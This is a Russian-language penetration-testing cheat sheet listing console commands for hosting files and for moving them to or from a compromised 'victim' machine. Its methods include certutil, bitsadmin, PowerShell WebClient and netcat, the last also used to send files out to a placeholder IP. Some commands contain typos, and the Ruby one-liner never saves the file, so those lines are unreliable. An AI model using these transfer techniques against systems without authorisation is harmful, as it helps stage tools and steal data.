Передача файлов через консоль
Сергей Зыбнев
При выполнении шагов перебора в ходе пентеста часто возникает необходимость передачи файлов на машину жертвы или с нее, например, для запуска пользовательских сценариев или дальнейшего анализа файлов на своей машине.
Существуют различные техники и инструменты, которые можно использовать для передачи файлов, и в зависимости от целевой операционной системы и установленного программного обеспечения они могут работать или не работать. Цель этой шпаргалки - предоставить исчерпывающий ресурс по передаче файлов с помощью интерфейсов командной строки.
Раздача файлов
Файлы можно размещать с помощью таких методов, как веб-серверы, FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:
- Python HTTP Server modulespython -m SimpleHTTPServer [PORT]\
python3 -m http.server [PORT]
- Apache, требуется поместить файлы в /var/www/html/
service apache2 start; systemctl start apache2;
- Nginx, требуется поместить файлы в /usr/share/nginx/html или /var/www/html
service nginx start; systemctl start nginx
- PHP встроенный веб сервер
php -S 0.0.0.0:PORT
- Netcat слушатель для обмена файлами
nc -q 0 -lvp 443 < file
- Netcat для отправки файла
nc -nv IP 443 < file
- Скрипт smbserver.py от Impacket имитирует SMB-сервер
impacket-smbserver share share_dir
- Linux Samba, раздачу надо добавить в /etc/samba/smb.conf
service smbd start; systemctl start smbd
- Для настройки FTP-серверов можно использовать такие службы, как pure-ftpd и proftpd
service pure-ftpd start; systemctl start pure-ftpd; service proftpd start; systemctl start proftpd
- atftpd позвляет легко настроить TFTP сервер
atftpd –daemon –port 69 ftp_dir
- Веб сервер Ruby использует библиотеку Web brick
ruby -rwebrick -e’WEBrick::HTTPServer.new(:Port => PORT, :DocumentRoot => Dir.pwd).start’
- Простой http сервер на Ruby
ruby -run -e httpd . -p [PORT]
- Perl Brick HTTP сервер
cpan HTTP::Server::Brick;
perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>PORT); $s->mount(“/”=>{path=>”.”}); $s->start’
- Microsoftg IIS Express
“C:\Program Files (x86)\IIS Express\iisexpress.exe” /path:C: /port:PORT
Получение файлов
Файлы можно загружать с помощью различных инструментов, таких как wget/curl FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:
- Wget поставляется предустановленным в большинстве дистрибутовов Linux
wget http://IP:PORT/file [-o output_file]
- Curl поставляется предустановленным в большинстве дистрибутовов Linux и некоторых версиях Windows
curl http://IP:PORT /file -o output_fil
- Certutil - это встроенный в Windows инструмент командной строки
certutil -urlcache -split -f “http://IP:PORT/file” output_file
- Команда Powershell Invoke-WebRequest или класс System.Net.WebClient
powershell -c Invoke-WebRequest -Uri http://ip-addr:port/file -OutFile output_file; powershell -c (New-Object Net.WebClient).DownloadFile(‘http://ip-addr:port/file’, ‘output_file’)
- Инструмент командной строки Bitsadmin Windows
bitsadmin /transfer job /download /priority high http://IP/file output_file
- Netcat для загрузки файлов из слушателя Netcat
nc -nv IP 443 > file
- Слушатель Netcat для получения файлов
nc -q 0-lvp 443 > file
- Команда Copy для загрузки файлов из общего ресурса SMB
copy \IP\SHARE\output_file
- Утилита smbget для загрузки файлов из общего ресурса Samba
smbget smb://domain;user[:password@]server/share/path/file
- Wget и FTP для загрузки файлов с FTP-сервера
Wget
wget ftp://user:password@IP_ADDR/path/file -o output_file
FTP
echo open 192.168.1.64 21> ftp.txt
echo anonymous>> ftp.txt
echo ftp@ftp.com>> ftp.txt
echo bin >> ftp.txt
echo get test.txt >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
tftp -i IP_ADDR {GET | PUT} filetftp
- SCP - Secure File Copy SSH
scp /path/file username@IP:/path/file scp username@IP_1:/path/file username@IP_2:/path/file scp username@IP:/path/file /path/file
- Функция PHP file_put_contents
php -r “file_put_contents(‘output_file’, fopen(‘http://ip-addr:port/file’, ‘r’));”
- Функция Python urlretrieve, которая является частью библиотеки urllib, может быть использована для загрузки файлов
python -c ‘from urllib import urlretrieve; urlretrieve(“http://ip-addr:port/file”, “output_file”)’; python3 -c ‘from urllib.request import urlretrieve; urlretrieve(“http://ip-addr:port/file”, “output_file”)’
- Библиотека WWW на языке Perl
perl -MLWP::Simple -e ‘getstore(“http://IP_ADDR/file”, “out_file”)’; perl -e ‘use LWP::Simple; getstore(“http://IP_ADDR/file”, “out_file”)’
- Библиотека Ruby Open-URI
ruby -e ‘require “open-uri”;File.open(“output_file”, “wb”) do |file|;URI.open(“http://ip-addr:port/file”).read;end’